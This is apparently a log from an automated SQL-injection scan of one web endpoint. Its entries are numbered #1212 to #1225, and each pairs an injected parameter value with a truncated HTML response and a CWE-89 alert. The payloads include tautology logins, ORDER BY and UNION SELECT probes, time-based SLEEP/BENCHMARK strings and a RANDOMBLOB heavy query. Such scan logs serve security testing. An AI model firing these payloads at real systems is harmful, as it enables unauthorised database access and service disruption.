ParametersName Value
DemoUser1# admin') or '1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1212
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1213
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1214
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1215
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1216
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1217
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1218
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1219Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or ("1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1220
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1221
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1222
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# &&SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1223
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(
1000000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1224
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or '' '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1225
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
